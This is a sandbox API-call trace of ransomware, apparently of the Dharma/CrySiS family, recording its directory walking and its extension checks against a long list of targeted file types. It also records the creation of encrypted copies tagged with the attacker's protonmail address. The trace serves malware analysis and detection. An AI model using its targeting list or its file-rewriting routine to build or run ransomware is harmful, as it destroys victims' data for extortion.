[0303.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.915] lstrlenW (lpString=".docx") returned 5 [0303.915] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0303.915] lstrlenW (lpString=".pdf") returned 4 [0303.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.915] lstrlenW (lpString=".xls") returned 4 [0303.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.915] lstrlenW (lpString=".xlsx") returned 5 [0303.915] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0303.915] lstrlenW (lpString=".ppt") returned 4 [0303.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.915] lstrlenW (lpString=".zip") returned 4 [0303.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.915] lstrlenW (lpString=".rar") returned 4 [0303.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.916] lstrlenW (lpString=".bz2") returned 4 [0303.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.916] lstrlenW (lpString=".7z") returned 3 [0303.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.916] lstrlenW (lpString=".dbf") returned 4 [0303.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.916] lstrlenW (lpString=".1cd") returned 4 [0303.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.916] lstrlenW (lpString=".jpg") returned 4 [0303.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.916] lstrlenW (lpString=".doc") returned 4 [0303.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.916] lstrlenW (lpString=".docx") returned 5 [0303.916] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0303.916] lstrlenW (lpString=".pdf") returned 4 [0303.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.917] lstrlenW (lpString=".xls") returned 4 [0303.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.917] lstrlenW (lpString=".xlsx") returned 5 [0303.917] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0303.917] lstrlenW (lpString=".ppt") returned 4 [0303.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.917] lstrlenW (lpString=".zip") returned 4 [0303.917] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.917] lstrlenW (lpString=".rar") returned 4 [0303.917] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.917] lstrlenW (lpString=".bz2") returned 4 [0303.917] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.917] lstrlenW (lpString=".7z") returned 3 [0303.917] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.917] lstrlenW (lpString=".dbf") returned 4 [0303.917] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.917] lstrlenW (lpString=".1cd") returned 4 [0303.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.917] lstrlenW (lpString=".jpg") returned 4 [0303.917] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.917] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.917] lstrlenW (lpString="wsdetect.dll") returned 12 [0303.917] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.918] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=192576) returned 1 [0303.918] CloseHandle (hObject=0x10a4) returned 1 [0303.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0303.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.918] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.918] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0303.919] GetLastError () returned 0x0 [0303.919] ReadFile (hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0) Thread: id = 3463 os_tid = 0x2784 [0286.051] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x3e50058 [0286.051] lstrlenW (lpString="C:") returned 2 [0286.051] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x74a530 [0286.052] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0286.052] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0286.052] lstrlenW (lpString="$GetCurrent") returned 11 [0286.052] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0286.052] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x3e60060 [0286.052] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0286.052] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x74abb0 [0286.052] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0286.052] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0286.052] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0286.052] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0286.052] lstrlenW (lpString="Logs") returned 4 [0286.052] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0286.052] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x3e70068 [0286.053] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0286.053] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x74a630 [0286.053] FindNextFileW (in: hFindFile=0x74a630, lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.054] FindNextFileW (in: hFindFile=0x74a630, lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30340f2e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30340f2e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3038d36e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DOWNLE~1.COM")) returned 1 [0286.054] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com") returned 81 [0286.054] lstrlenW (lpString=".1cd") returned 4 [0286.054] lstrcmpiW (lpString1=".1cd", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".3ds") returned 4 [0286.054] lstrcmpiW (lpString1=".3ds", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".3fr") returned 4 [0286.054] lstrcmpiW (lpString1=".3fr", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".3g2") returned 4 [0286.054] lstrcmpiW (lpString1=".3g2", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".3gp") returned 4 [0286.054] lstrcmpiW (lpString1=".3gp", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".7z") returned 3 [0286.054] lstrcmpiW (lpString1=".7z", lpString2="com") returned -1 [0286.054] lstrlenW (lpString=".accda") returned 6 [0286.054] lstrcmpiW (lpString1=".accda", lpString2="m].com") returned -1 [0286.054] lstrlenW (lpString=".accdb") returned 6 [0286.054] lstrcmpiW (lpString1=".accdb", lpString2="m].com") returned -1 [0286.054] lstrlenW (lpString=".accdc") returned 6 [0286.054] lstrcmpiW (lpString1=".accdc", lpString2="m].com") returned -1 [0286.054] lstrlenW (lpString=".accde") returned 6 [0286.054] lstrcmpiW (lpString1=".accde", lpString2="m].com") returned -1 [0286.054] lstrlenW (lpString=".accdt") returned 6 [0286.054] lstrcmpiW (lpString1=".accdt", lpString2="m].com") returned -1 [0286.054] lstrlenW (lpString=".accdw") returned 6 [0286.054] lstrcmpiW (lpString1=".accdw", lpString2="m].com") returned -1 [0286.054] lstrlenW (lpString=".adb") returned 4 [0286.054] lstrcmpiW (lpString1=".adb", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".adp") returned 4 [0286.054] lstrcmpiW (lpString1=".adp", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".ai") returned 3 [0286.054] lstrcmpiW (lpString1=".ai", lpString2="com") returned -1 [0286.054] lstrlenW (lpString=".ai3") returned 4 [0286.054] lstrcmpiW (lpString1=".ai3", lpString2=".com") returned -1 [0286.054] lstrlenW (lpString=".ai4") returned 4 [0286.055] lstrcmpiW (lpString1=".ai4", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".ai5") returned 4 [0286.055] lstrcmpiW (lpString1=".ai5", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".ai6") returned 4 [0286.055] lstrcmpiW (lpString1=".ai6", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".ai7") returned 4 [0286.055] lstrcmpiW (lpString1=".ai7", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".ai8") returned 4 [0286.055] lstrcmpiW (lpString1=".ai8", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".anim") returned 5 [0286.055] lstrcmpiW (lpString1=".anim", lpString2="].com") returned -1 [0286.055] lstrlenW (lpString=".arw") returned 4 [0286.055] lstrcmpiW (lpString1=".arw", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".as") returned 3 [0286.055] lstrcmpiW (lpString1=".as", lpString2="com") returned -1 [0286.055] lstrlenW (lpString=".asa") returned 4 [0286.055] lstrcmpiW (lpString1=".asa", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".asc") returned 4 [0286.055] lstrcmpiW (lpString1=".asc", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".ascx") returned 5 [0286.055] lstrcmpiW (lpString1=".ascx", lpString2="].com") returned -1 [0286.055] lstrlenW (lpString=".asm") returned 4 [0286.055] lstrcmpiW (lpString1=".asm", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".asmx") returned 5 [0286.055] lstrcmpiW (lpString1=".asmx", lpString2="].com") returned -1 [0286.055] lstrlenW (lpString=".asp") returned 4 [0286.055] lstrcmpiW (lpString1=".asp", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".aspx") returned 5 [0286.055] lstrcmpiW (lpString1=".aspx", lpString2="].com") returned -1 [0286.055] lstrlenW (lpString=".asr") returned 4 [0286.055] lstrcmpiW (lpString1=".asr", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".asx") returned 4 [0286.055] lstrcmpiW (lpString1=".asx", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".avi") returned 4 [0286.055] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".avs") returned 4 [0286.055] lstrcmpiW (lpString1=".avs", lpString2=".com") returned -1 [0286.055] lstrlenW (lpString=".backup") returned 7 [0286.056] lstrcmpiW (lpString1=".backup", lpString2="om].com") returned -1 [0286.056] lstrlenW (lpString=".bak") returned 4 [0286.056] lstrcmpiW (lpString1=".bak", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".bay") returned 4 [0286.056] lstrcmpiW (lpString1=".bay", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".bd") returned 3 [0286.056] lstrcmpiW (lpString1=".bd", lpString2="com") returned -1 [0286.056] lstrlenW (lpString=".bin") returned 4 [0286.056] lstrcmpiW (lpString1=".bin", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".bmp") returned 4 [0286.056] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".bz2") returned 4 [0286.056] lstrcmpiW (lpString1=".bz2", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".c") returned 2 [0286.056] lstrcmpiW (lpString1=".c", lpString2="om") returned -1 [0286.056] lstrlenW (lpString=".cdr") returned 4 [0286.056] lstrcmpiW (lpString1=".cdr", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".cer") returned 4 [0286.056] lstrcmpiW (lpString1=".cer", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".cf") returned 3 [0286.056] lstrcmpiW (lpString1=".cf", lpString2="com") returned -1 [0286.056] lstrlenW (lpString=".cfc") returned 4 [0286.056] lstrcmpiW (lpString1=".cfc", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".cfm") returned 4 [0286.056] lstrcmpiW (lpString1=".cfm", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".cfml") returned 5 [0286.056] lstrcmpiW (lpString1=".cfml", lpString2="].com") returned -1 [0286.056] lstrlenW (lpString=".cfu") returned 4 [0286.056] lstrcmpiW (lpString1=".cfu", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".chm") returned 4 [0286.056] lstrcmpiW (lpString1=".chm", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".cin") returned 4 [0286.056] lstrcmpiW (lpString1=".cin", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".class") returned 6 [0286.056] lstrcmpiW (lpString1=".class", lpString2="m].com") returned -1 [0286.056] lstrlenW (lpString=".clx") returned 4 [0286.056] lstrcmpiW (lpString1=".clx", lpString2=".com") returned -1 [0286.056] lstrlenW (lpString=".config") returned 7 [0286.056] lstrcmpiW (lpString1=".config", lpString2="om].com") returned -1 [0286.057] lstrlenW (lpString=".cpp") returned 4 [0286.057] lstrcmpiW (lpString1=".cpp", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".cr2") returned 4 [0286.057] lstrcmpiW (lpString1=".cr2", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".crt") returned 4 [0286.057] lstrcmpiW (lpString1=".crt", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".crw") returned 4 [0286.057] lstrcmpiW (lpString1=".crw", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".cs") returned 3 [0286.057] lstrcmpiW (lpString1=".cs", lpString2="com") returned -1 [0286.057] lstrlenW (lpString=".css") returned 4 [0286.057] lstrcmpiW (lpString1=".css", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".csv") returned 4 [0286.057] lstrcmpiW (lpString1=".csv", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".cub") returned 4 [0286.057] lstrcmpiW (lpString1=".cub", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dae") returned 4 [0286.057] lstrcmpiW (lpString1=".dae", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dat") returned 4 [0286.057] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".db") returned 3 [0286.057] lstrcmpiW (lpString1=".db", lpString2="com") returned -1 [0286.057] lstrlenW (lpString=".dbf") returned 4 [0286.057] lstrcmpiW (lpString1=".dbf", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dbx") returned 4 [0286.057] lstrcmpiW (lpString1=".dbx", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dc3") returned 4 [0286.057] lstrcmpiW (lpString1=".dc3", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dcm") returned 4 [0286.057] lstrcmpiW (lpString1=".dcm", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dcr") returned 4 [0286.057] lstrcmpiW (lpString1=".dcr", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".der") returned 4 [0286.057] lstrcmpiW (lpString1=".der", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dib") returned 4 [0286.057] lstrcmpiW (lpString1=".dib", lpString2=".com") returned 1 [0286.057] lstrlenW (lpString=".dic") returned 4 [0286.058] lstrcmpiW (lpString1=".dic", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dif") returned 4 [0286.058] lstrcmpiW (lpString1=".dif", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".divx") returned 5 [0286.058] lstrcmpiW (lpString1=".divx", lpString2="].com") returned -1 [0286.058] lstrlenW (lpString=".djvu") returned 5 [0286.058] lstrcmpiW (lpString1=".djvu", lpString2="].com") returned -1 [0286.058] lstrlenW (lpString=".dng") returned 4 [0286.058] lstrcmpiW (lpString1=".dng", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".doc") returned 4 [0286.058] lstrcmpiW (lpString1=".doc", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".docm") returned 5 [0286.058] lstrcmpiW (lpString1=".docm", lpString2="].com") returned -1 [0286.058] lstrlenW (lpString=".docx") returned 5 [0286.058] lstrcmpiW (lpString1=".docx", lpString2="].com") returned -1 [0286.058] lstrlenW (lpString=".dot") returned 4 [0286.058] lstrcmpiW (lpString1=".dot", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dotm") returned 5 [0286.058] lstrcmpiW (lpString1=".dotm", lpString2="].com") returned -1 [0286.058] lstrlenW (lpString=".dotx") returned 5 [0286.058] lstrcmpiW (lpString1=".dotx", lpString2="].com") returned -1 [0286.058] lstrlenW (lpString=".dpx") returned 4 [0286.058] lstrcmpiW (lpString1=".dpx", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dqy") returned 4 [0286.058] lstrcmpiW (lpString1=".dqy", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dsn") returned 4 [0286.058] lstrcmpiW (lpString1=".dsn", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dt") returned 3 [0286.058] lstrcmpiW (lpString1=".dt", lpString2="com") returned -1 [0286.058] lstrlenW (lpString=".dtd") returned 4 [0286.058] lstrcmpiW (lpString1=".dtd", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dwg") returned 4 [0286.058] lstrcmpiW (lpString1=".dwg", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dwt") returned 4 [0286.058] lstrcmpiW (lpString1=".dwt", lpString2=".com") returned 1 [0286.058] lstrlenW (lpString=".dx") returned 3 [0286.058] lstrcmpiW (lpString1=".dx", lpString2="com") returned -1 [0286.059] lstrlenW (lpString=".dxf") returned 4 [0286.059] lstrcmpiW (lpString1=".dxf", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".edml") returned 5 [0286.059] lstrcmpiW (lpString1=".edml", lpString2="].com") returned -1 [0286.059] lstrlenW (lpString=".efd") returned 4 [0286.059] lstrcmpiW (lpString1=".efd", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".elf") returned 4 [0286.059] lstrcmpiW (lpString1=".elf", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".emf") returned 4 [0286.059] lstrcmpiW (lpString1=".emf", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".emz") returned 4 [0286.059] lstrcmpiW (lpString1=".emz", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".epf") returned 4 [0286.059] lstrcmpiW (lpString1=".epf", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".eps") returned 4 [0286.059] lstrcmpiW (lpString1=".eps", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".epsf") returned 5 [0286.059] lstrcmpiW (lpString1=".epsf", lpString2="].com") returned -1 [0286.059] lstrlenW (lpString=".epsp") returned 5 [0286.059] lstrcmpiW (lpString1=".epsp", lpString2="].com") returned -1 [0286.059] lstrlenW (lpString=".erf") returned 4 [0286.059] lstrcmpiW (lpString1=".erf", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".exr") returned 4 [0286.059] lstrcmpiW (lpString1=".exr", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".f4v") returned 4 [0286.059] lstrcmpiW (lpString1=".f4v", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".fido") returned 5 [0286.059] lstrcmpiW (lpString1=".fido", lpString2="].com") returned -1 [0286.059] lstrlenW (lpString=".flm") returned 4 [0286.059] lstrcmpiW (lpString1=".flm", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".flv") returned 4 [0286.059] lstrcmpiW (lpString1=".flv", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".frm") returned 4 [0286.059] lstrcmpiW (lpString1=".frm", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".fxg") returned 4 [0286.059] lstrcmpiW (lpString1=".fxg", lpString2=".com") returned 1 [0286.059] lstrlenW (lpString=".geo") returned 4 [0286.060] lstrcmpiW (lpString1=".geo", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".gif") returned 4 [0286.060] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".grs") returned 4 [0286.060] lstrcmpiW (lpString1=".grs", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".gz") returned 3 [0286.060] lstrcmpiW (lpString1=".gz", lpString2="com") returned -1 [0286.060] lstrlenW (lpString=".h") returned 2 [0286.060] lstrcmpiW (lpString1=".h", lpString2="om") returned -1 [0286.060] lstrlenW (lpString=".hdr") returned 4 [0286.060] lstrcmpiW (lpString1=".hdr", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".hpp") returned 4 [0286.060] lstrcmpiW (lpString1=".hpp", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".hta") returned 4 [0286.060] lstrcmpiW (lpString1=".hta", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".htc") returned 4 [0286.060] lstrcmpiW (lpString1=".htc", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".htm") returned 4 [0286.060] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".html") returned 5 [0286.060] lstrcmpiW (lpString1=".html", lpString2="].com") returned -1 [0286.060] lstrlenW (lpString=".icb") returned 4 [0286.060] lstrcmpiW (lpString1=".icb", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".ics") returned 4 [0286.060] lstrcmpiW (lpString1=".ics", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".iff") returned 4 [0286.060] lstrcmpiW (lpString1=".iff", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".inc") returned 4 [0286.060] lstrcmpiW (lpString1=".inc", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".indd") returned 5 [0286.060] lstrcmpiW (lpString1=".indd", lpString2="].com") returned -1 [0286.060] lstrlenW (lpString=".ini") returned 4 [0286.060] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".iqy") returned 4 [0286.060] lstrcmpiW (lpString1=".iqy", lpString2=".com") returned 1 [0286.060] lstrlenW (lpString=".j2c") returned 4 [0286.060] lstrcmpiW (lpString1=".j2c", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".j2k") returned 4 [0286.061] lstrcmpiW (lpString1=".j2k", lpString2=".com") returned 1 [0286.061] lstrlenW (lpString=".java") returned 5 [0286.061] lstrcmpiW (lpString1=".java", lpString2="].com") returned -1 [0286.061] lstrlenW (lpString=".jp2") returned 4 [0286.061] 